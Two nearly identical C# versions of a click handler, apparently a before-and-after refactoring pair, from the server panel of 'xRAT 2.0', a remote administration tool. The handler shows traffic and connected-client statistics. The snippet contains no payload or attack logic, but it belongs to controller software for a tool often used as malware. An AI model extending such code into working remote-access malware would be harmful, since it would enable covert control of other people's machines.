private void menuStatistics_Click(object sender, EventArgs e) { if (listenServer.BytesReceived == 0 || listenServer.BytesSent == 0) { MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { using (var frm = new frmStatistics(listenServer.BytesReceived, listenServer.BytesSent, listenServer.ConnectedClients, listenServer.AllTimeConnectedClients)) { frm.ShowDialog(); } } }
private void menuStatistics_Click(object sender, EventArgs e) { if (listenServer.BytesReceived == 0 || listenServer.BytesSent == 0) MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK, MessageBoxIcon.Information); else { using (var frm = new frmStatistics(listenServer.BytesReceived, listenServer.BytesSent, listenServer.ConnectedClients, listenServer.AllTimeConnectedClients)) { frm.ShowDialog(); } } }